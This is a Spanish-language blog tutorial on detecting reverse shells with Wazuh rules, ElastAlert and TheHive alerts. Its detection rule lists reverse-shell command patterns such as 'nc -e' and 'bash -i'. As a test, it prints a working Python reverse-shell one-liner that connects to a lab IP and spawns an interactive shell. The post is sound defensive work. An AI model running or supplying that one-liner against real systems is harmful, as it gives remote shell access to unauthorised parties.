Detección de reverse shell con wazuh y thehive

En este post vamos a seguir configurando nuestro entorno SIRP en el cual ya hablamos en la entrada: https://red-orbita.com/?p=8726

En este caso vamos a crear una regla para detectar reverse shell. Para ello, primero tenemos que configurar en el cliente que liste todos los procesos que están corriendo en /var/ossec/etc/ossec.conf

<localfile>
    <log_format>command</log_format>
    <command>ps -eo user,pid,cmd</command>
    <frequency>60</frequency>
  </localfile>

Reiniciamos el servicio

/etc/init.d/wazuh-agent restart

Ahora nos vamos a wazuh manager y agregamos las siguientes reglas en /var/ossec/etc/rules/local_rules.xml

<group name="ossec,">
<rule id="100050" level="0">
  <if_sid>530</if_sid>
  <match>^ossec: output: 'ps -eo user,pid,cmd'</match>
  <description>List of running process.</description>
  <group>process_monitor,</group>
</rule>

<rule id="100051" level="7">
  <if_sid>100050</if_sid>
  <match>bash -i|perl -e|perl -MIO -e|php -r|ruby -rsocket|ssh -i|xterm -display|Xnest|xhost|nc -e|python -c</match>
  <description>Reverse shell listening for incoming connections.</description>
  <group>process_monitor,attacks</group>
</rule> 

Reiniciamos el servicio de wazuh manager

/etc/init.d/wazuh-manager restart

Ahora nos vamos al servidor donde se encuentra elastalert y generamos la siguiente regla

es_host: localhost
es_port: 9200
name: Reverse Shell  detection.
type: frequency
index: wazuh-alerts-3.x-*
num_events: 2
timeframe:
    hours: 1
filter:
- term:
    rule.id: "100051"
alert: hivealerter
hive_connection:
  hive_host: http://ip_thehive
  hive_port: 9000
  hive_apikey: <Paste API key for elastalert user here>

hive_alert_config:
  title: '{rule[name]}'
  type: 'external'
  source: 'elastalert'
  description: '{match[full_log]}'
  severity: 2
  tags: ['{rule[name]}', '{match[agent][name]}', 'Reverse Shell', '{match[rule][groups]}', '{match[_id]}']
  tlp: 3
  status: 'New'
  follow: True

hive_observable_data_mapping:
    - ip: "{match[src_ip]}"

Reiniciamos el servicio

systemctl status elastalert

Ahora lanzamos un reverse shell

 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.4.50",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Nos vamos a Kibana y compramos que sale la alerta

Ahora nos vamos a Thehive y comprobamos que nos haya generado una alerta

:wq!

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *